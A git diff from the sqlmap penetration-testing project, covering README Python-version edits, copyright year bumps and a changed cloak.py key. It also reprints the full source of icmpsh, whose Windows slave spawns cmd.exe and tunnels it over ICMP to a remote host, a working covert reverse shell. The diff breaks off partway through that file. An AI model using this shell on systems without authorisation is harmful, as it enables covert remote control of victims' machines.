sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z niej danych, a nawet pozwalających na dostęp do systemu plików oraz wykonywanie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia.
@@ -20,7 +20,7 @@ Można również pobrać sqlmap klonując rezozytorium [Git](https://github.com/
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.6**, **2.7** lub **3.x** na dowolnej platformie systemowej.
+do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.7** lub **3.x** na dowolnej platformie systemowej.
Sposób użycia
----
diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md
index 6fe64ed6a..9f5ebfd99 100644
--- a/doc/translations/README-pt-BR.md
+++ b/doc/translations/README-pt-BR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
@@ -20,7 +20,7 @@ De preferência, você pode baixar o sqlmap clonando o repositório [Git](https:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.6**, **2.7** e **3.x** em todas as plataformas.
+sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.7** e **3.x** em todas as plataformas.
Como usar
----
diff --git a/doc/translations/README-rs-RS.md b/doc/translations/README-rs-RS.md
index de0fb2e2f..e130727fe 100644
--- a/doc/translations/README-rs-RS.md
+++ b/doc/translations/README-rs-RS.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvršavanja komandi na operativnom sistemu korištenjem tzv. "out-of-band" veza.
@@ -20,7 +20,7 @@ Opciono, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproj
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi.
+sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi.
Korišćenje
----
diff --git a/doc/translations/README-ru-RU.md b/doc/translations/README-ru-RU.md
index c88f532e6..381472225 100644
--- a/doc/translations/README-ru-RU.md
+++ b/doc/translations/README-ru-RU.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение.
@@ -20,7 +20,7 @@ sqlmap - это инструмент для тестирования уязви
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.6**, **2.7** и **3.x** на любой платформе.
+sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.7** и **3.x** на любой платформе.
Использование
----
diff --git a/doc/translations/README-sk-SK.md b/doc/translations/README-sk-SK.md
index 0f32c0c4d..d673b3e3a 100644
--- a/doc/translations/README-sk-SK.md
+++ b/doc/translations/README-sk-SK.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap je open source nástroj na penetračné testovanie, ktorý automatizuje proces detekovania a využívania chýb SQL injekcie a preberania databázových serverov. Je vybavený výkonným detekčným mechanizmom, mnohými výklenkovými funkciami pre dokonalého penetračného testera a širokou škálou prepínačov vrátane odtlačkov databázy, cez načítanie údajov z databázy, prístup k základnému súborovému systému a vykonávanie príkazov v operačnom systéme prostredníctvom mimopásmových pripojení.
@@ -20,7 +20,7 @@ Najlepšie je stiahnuť sqlmap naklonovaním [Git](https://github.com/sqlmapproj
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap funguje bez problémov s programovacím jazykom [Python](https://www.python.org/download/) vo verziách **2.6**, **2.7** a **3.x** na akejkoľvek platforme.
+sqlmap funguje bez problémov s programovacím jazykom [Python](https://www.python.org/download/) vo verziách **2.7** a **3.x** na akejkoľvek platforme.
Využitie
----
diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md
index 320d81b12..46e5267e9 100644
--- a/doc/translations/README-tr-TR.md
+++ b/doc/translations/README-tr-TR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek birçok aracı, uzak veritabanından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi işlevleri de barındırmaktadır.
@@ -23,7 +23,7 @@ Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayar
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** ve **3.x** versiyonları ile bütün platformlarda çalışabilmektedir.
+sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.7** ve **3.x** versiyonları ile bütün platformlarda çalışabilmektedir.
Kullanım
----
diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md
index 26e96f7d6..ab7814676 100644
--- a/doc/translations/README-uk-UA.md
+++ b/doc/translations/README-uk-UA.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання.
@@ -20,7 +20,7 @@ sqlmap - це інструмент для тестування вразливо
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.6**, **2.7** та **3.x** на будь-якій платформі.
+sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.7** та **3.x** на будь-якій платформі.
Використання
----
diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md
index 45cbd33c6..ceb272455 100644
--- a/doc/translations/README-vi-VN.md
+++ b/doc/translations/README-vi-VN.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng SQL injection và tiếp quản các máy chủ cơ sở dữ liệu. Công cụ này đi kèm với
một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập file hệ thống và thực hiện các lệnh trên hệ điều hành từ xa.
@@ -22,7 +22,7 @@ Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone về repo [Git
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.6**, **2.7** và **3.x** trên bất kì hệ điều hành nào.
+sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.7** và **3.x** trên bất kì hệ điều hành nào.
Sử dụng
----
diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md
index d63d6da4a..b065c10a0 100644
--- a/doc/translations/README-zh-CN.md
+++ b/doc/translations/README-zh-CN.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。
@@ -20,7 +20,7 @@ sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.6**, **2.7** 和 **3.x** 版本的任何平台上
+sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和 **3.x** 版本的任何平台上
使用方法
----
diff --git a/extra/__init__.py b/extra/__init__.py
index ba25c56a2..bcac84163 100644
--- a/extra/__init__.py
+++ b/extra/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py
index ba25c56a2..bcac84163 100644
--- a/extra/beep/__init__.py
+++ b/extra/beep/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/beep/beep.py b/extra/beep/beep.py
index b6f8f97cf..9e1acd04b 100644
--- a/extra/beep/beep.py
+++ b/extra/beep/beep.py
@@ -3,7 +3,7 @@
"""
beep.py - Make a beep sound
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py
index ba25c56a2..bcac84163 100644
--- a/extra/cloak/__init__.py
+++ b/extra/cloak/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py
index cce563973..465f220b8 100644
--- a/extra/cloak/cloak.py
+++ b/extra/cloak/cloak.py
@@ -3,7 +3,7 @@
"""
cloak.py - Simple file encryption/compression utility
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -21,7 +21,7 @@ if sys.version_info >= (3, 0):
xrange = range
ord = lambda _: _
-KEY = b"E6wRbVhD0IBeCiGJ"
+KEY = b"ZCuk6GdHSj4KtgDq"
def xor(message, key):
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py
index ba25c56a2..bcac84163 100644
--- a/extra/dbgtool/__init__.py
+++ b/extra/dbgtool/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py
index d8f93d41f..7cdb11b70 100644
--- a/extra/dbgtool/dbgtool.py
+++ b/extra/dbgtool/dbgtool.py
@@ -3,7 +3,7 @@
"""
dbgtool.py - Portable executable to ASCII debug script converter
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/icmpsh/icmpsh-m.c b/extra/icmpsh/icmpsh-m.c
index 32c3edb74..95deb603b 100644
--- a/extra/icmpsh/icmpsh-m.c
+++ b/extra/icmpsh/icmpsh-m.c
@@ -1,134 +1,134 @@
-/*
- * icmpsh - simple icmp command shell
- * Copyright (c) 2010, Nico Leidecker
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program. If not, see .
- */
-
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-
-#define IN_BUF_SIZE 1024
-#define OUT_BUF_SIZE 64
-
-// calculate checksum
-unsigned short checksum(unsigned short *ptr, int nbytes)
-{
- unsigned long sum;
- unsigned short oddbyte, rs;
-
- sum = 0;
- while(nbytes > 1) {
- sum += *ptr++;
- nbytes -= 2;
- }
-
- if(nbytes == 1) {
- oddbyte = 0;
- *((unsigned char *) &oddbyte) = *(u_char *)ptr;
- sum += oddbyte;
- }
-
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- rs = ~sum;
- return rs;
-}
-
-int main(int argc, char **argv)
-{
- int sockfd;
- int flags;
- char in_buf[IN_BUF_SIZE];
- char out_buf[OUT_BUF_SIZE];
- unsigned int out_size;
- int nbytes;
- struct iphdr *ip;
- struct icmphdr *icmp;
- char *data;
- struct sockaddr_in addr;
-
-
- printf("icmpsh - master\n");
-
- // create raw ICMP socket
- sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
- if (sockfd == -1) {
- perror("socket");
- return -1;
- }
-
- // set stdin to non-blocking
- flags = fcntl(0, F_GETFL, 0);
- flags |= O_NONBLOCK;
- fcntl(0, F_SETFL, flags);
-
- printf("running...\n");
- while(1) {
-
- // read data from socket
- memset(in_buf, 0x00, IN_BUF_SIZE);
- nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
- if (nbytes > 0) {
- // get ip and icmp header and data part
- ip = (struct iphdr *) in_buf;
- if (nbytes > sizeof(struct iphdr)) {
- nbytes -= sizeof(struct iphdr);
- icmp = (struct icmphdr *) (ip + 1);
- if (nbytes > sizeof(struct icmphdr)) {
- nbytes -= sizeof(struct icmphdr);
- data = (char *) (icmp + 1);
- data[nbytes] = '\0';
- printf("%s", data);
- fflush(stdout);
- }
-
- // reuse headers
- icmp->type = 0;
- addr.sin_family = AF_INET;
- addr.sin_addr.s_addr = ip->saddr;
-
- // read data from stdin
- nbytes = read(0, out_buf, OUT_BUF_SIZE);
- if (nbytes > -1) {
- memcpy((char *) (icmp + 1), out_buf, nbytes);
- out_size = nbytes;
- } else {
- out_size = 0;
- }
-
- icmp->checksum = 0x00;
- icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
-
- // send reply
- nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
- if (nbytes == -1) {
- perror("sendto");
- return -1;
- }
- }
- }
- }
-
- return 0;
-}
-
+/*
+ * icmpsh - simple icmp command shell
+ * Copyright (c) 2010, Nico Leidecker
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see .
+ */
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define IN_BUF_SIZE 1024
+#define OUT_BUF_SIZE 64
+
+// calculate checksum
+unsigned short checksum(unsigned short *ptr, int nbytes)
+{
+ unsigned long sum;
+ unsigned short oddbyte, rs;
+
+ sum = 0;
+ while(nbytes > 1) {
+ sum += *ptr++;
+ nbytes -= 2;
+ }
+
+ if(nbytes == 1) {
+ oddbyte = 0;
+ *((unsigned char *) &oddbyte) = *(u_char *)ptr;
+ sum += oddbyte;
+ }
+
+ sum = (sum >> 16) + (sum & 0xffff);
+ sum += (sum >> 16);
+ rs = ~sum;
+ return rs;
+}
+
+int main(int argc, char **argv)
+{
+ int sockfd;
+ int flags;
+ char in_buf[IN_BUF_SIZE];
+ char out_buf[OUT_BUF_SIZE];
+ unsigned int out_size;
+ int nbytes;
+ struct iphdr *ip;
+ struct icmphdr *icmp;
+ char *data;
+ struct sockaddr_in addr;
+
+
+ printf("icmpsh - master\n");
+
+ // create raw ICMP socket
+ sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
+ if (sockfd == -1) {
+ perror("socket");
+ return -1;
+ }
+
+ // set stdin to non-blocking
+ flags = fcntl(0, F_GETFL, 0);
+ flags |= O_NONBLOCK;
+ fcntl(0, F_SETFL, flags);
+
+ printf("running...\n");
+ while(1) {
+
+ // read data from socket
+ memset(in_buf, 0x00, IN_BUF_SIZE);
+ nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
+ if (nbytes > 0) {
+ // get ip and icmp header and data part
+ ip = (struct iphdr *) in_buf;
+ if (nbytes > sizeof(struct iphdr)) {
+ nbytes -= sizeof(struct iphdr);
+ icmp = (struct icmphdr *) (ip + 1);
+ if (nbytes > sizeof(struct icmphdr)) {
+ nbytes -= sizeof(struct icmphdr);
+ data = (char *) (icmp + 1);
+ data[nbytes] = '\0';
+ printf("%s", data);
+ fflush(stdout);
+ }
+
+ // reuse headers
+ icmp->type = 0;
+ addr.sin_family = AF_INET;
+ addr.sin_addr.s_addr = ip->saddr;
+
+ // read data from stdin
+ nbytes = read(0, out_buf, OUT_BUF_SIZE);
+ if (nbytes > -1) {
+ memcpy((char *) (icmp + 1), out_buf, nbytes);
+ out_size = nbytes;
+ } else {
+ out_size = 0;
+ }
+
+ icmp->checksum = 0x00;
+ icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
+
+ // send reply
+ nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
+ if (nbytes == -1) {
+ perror("sendto");
+ return -1;
+ }
+ }
+ }
+ }
+
+ return 0;
+}
+
diff --git a/extra/icmpsh/icmpsh-s.c b/extra/icmpsh/icmpsh-s.c
index af30618f9..c10850977 100644
--- a/extra/icmpsh/icmpsh-s.c
+++ b/extra/icmpsh/icmpsh-s.c
@@ -1,344 +1,344 @@
-/*
- * icmpsh - simple icmp command shell
- * Copyright (c) 2010, Nico Leidecker
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program. If not, see .
- */
-
-
-#include
-#include
-#include
-#include
-#include
-#include
-
-#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
-
-#define STATUS_OK 0
-#define STATUS_SINGLE 1
-#define STATUS_PROCESS_NOT_CREATED 2
-
-#define TRANSFER_SUCCESS 1
-#define TRANSFER_FAILURE 0
-
-#define DEFAULT_TIMEOUT 3000
-#define DEFAULT_DELAY 200
-#define DEFAULT_MAX_BLANKS 10
-#define DEFAULT_MAX_DATA_SIZE 64
-
-FARPROC icmp_create, icmp_send, to_ip;
-
-int verbose = 0;
-
-int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
-{
- SECURITY_ATTRIBUTES sattr;
- STARTUPINFOA si;
- HANDLE in_read, out_write;
-
- memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
- memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
-
- // create communication pipes
- memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
- sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
- sattr.bInheritHandle = TRUE;
- sattr.lpSecurityDescriptor = NULL;
-
- if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
- if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
-
- if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
- if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
-
- // spawn process
- memset(&si, 0x00, sizeof(STARTUPINFO));
- si.cb = sizeof(STARTUPINFO);
- si.hStdError = out_write;
- si.hStdOutput = out_write;
- si.hStdInput = in_read;
- si.dwFlags |= STARTF_USESTDHANDLES;
-
- if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
-
- CloseHandle(out_write);
- CloseHandle(in_read);
-
- return STATUS_OK;
-}
-
-void usage(char *path)
-{
- printf("%s [options] -t target\n", path);
- printf("options:\n");
- printf(" -t host host ip address to send ping requests to\n");
- printf(" -r send a single test icmp request and then quit\n");
- printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
- printf(" -o milliseconds timeout in milliseconds\n");
- printf(" -h this screen\n");
- printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
- printf(" before quitting\n");
- printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
- printf("In order to improve the speed, lower the delay (-d) between requests or\n");
- printf("increase the size (-s) of the data buffer\n");
-}
-
-void create_icmp_channel(HANDLE *icmp_chan)
-{
- // create icmp file
- *icmp_chan = (HANDLE) icmp_create();
-}
-
-int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
-{
- int rs;
- char *temp_in_buf;
- int nbytes;
-
- PICMP_ECHO_REPLY echo_reply;
-
- temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
- if (!temp_in_buf) {
- return TRANSFER_FAILURE;
- }
-
- // send data to remote host
- rs = icmp_send(
- icmp_chan,
- target,
- out_buf,
- out_buf_size,
- NULL,
- temp_in_buf,
- max_in_data_size + ICMP_HEADERS_SIZE,
- timeout);
-
- // check received data
- if (rs > 0) {
- echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
- if (echo_reply->DataSize > max_in_data_size) {
- nbytes = max_in_data_size;
- } else {
- nbytes = echo_reply->DataSize;
- }
- memcpy(in_buf, echo_reply->Data, nbytes);
- *in_buf_size = nbytes;
-
- free(temp_in_buf);
- return TRANSFER_SUCCESS;
- }
-
- free(temp_in_buf);
-
- return TRANSFER_FAILURE;
-}
-
-int load_deps()
-{
- HMODULE lib;
-
- lib = LoadLibraryA("ws2_32.dll");
- if (lib != NULL) {
- to_ip = GetProcAddress(lib, "inet_addr");
- if (!to_ip) {
- return 0;
- }
- }
-
- lib = LoadLibraryA("iphlpapi.dll");
- if (lib != NULL) {
- icmp_create = GetProcAddress(lib, "IcmpCreateFile");
- icmp_send = GetProcAddress(lib, "IcmpSendEcho");
- if (icmp_create && icmp_send) {
- return 1;
- }
- }
-
- lib = LoadLibraryA("ICMP.DLL");
- if (lib != NULL) {
- icmp_create = GetProcAddress(lib, "IcmpCreateFile");
- icmp_send = GetProcAddress(lib, "IcmpSendEcho");
- if (icmp_create && icmp_send) {
- return 1;
- }
- }
-
- printf("failed to load functions (%u)", GetLastError());
-
- return 0;
-}
-int main(int argc, char **argv)
-{
- int opt;
- char *target;
- unsigned int delay, timeout;
- unsigned int ip_addr;
- HANDLE pipe_read, pipe_write;
- HANDLE icmp_chan;
- unsigned char *in_buf, *out_buf;
- unsigned int in_buf_size, out_buf_size;
- DWORD rs;
- int blanks, max_blanks;
- PROCESS_INFORMATION pi;
- int status;
- unsigned int max_data_size;
-
- // set defaults
- target = 0;
- timeout = DEFAULT_TIMEOUT;
- delay = DEFAULT_DELAY;
- max_blanks = DEFAULT_MAX_BLANKS;
- max_data_size = DEFAULT_MAX_DATA_SIZE;
-
- status = STATUS_OK;
- if (!load_deps()) {
- printf("failed to load ICMP library\n");
- return -1;
- }
-
- // parse command line options
- for (opt = 1; opt < argc; opt++) {
- if (argv[opt][0] == '-') {
- switch(argv[opt][1]) {
- case 'h':
- usage(*argv);
- return 0;
- case 't':
- if (opt + 1 < argc) {
- target = argv[opt + 1];
- }
- break;
- case 'd':
- if (opt + 1 < argc) {
- delay = atol(argv[opt + 1]);
- }
- break;
- case 'o':
- if (opt + 1 < argc) {
- timeout = atol(argv[opt + 1]);
- }
- break;
- case 'r':
- status = STATUS_SINGLE;
- break;
- case 'b':
- if (opt + 1 < argc) {
- max_blanks = atol(argv[opt + 1]);
- }
- break;
- case 's':
- if (opt + 1 < argc) {
- max_data_size = atol(argv[opt + 1]);
- }
- break;
- default:
- printf("unrecognized option -%c\n", argv[1][0]);
- usage(*argv);
- return -1;
- }
- }
- }
-
- if (!target) {
- printf("you need to specify a host with -t. Try -h for more options\n");
- return -1;
- }
- ip_addr = to_ip(target);
-
- // don't spawn a shell if we're only sending a single test request
- if (status != STATUS_SINGLE) {
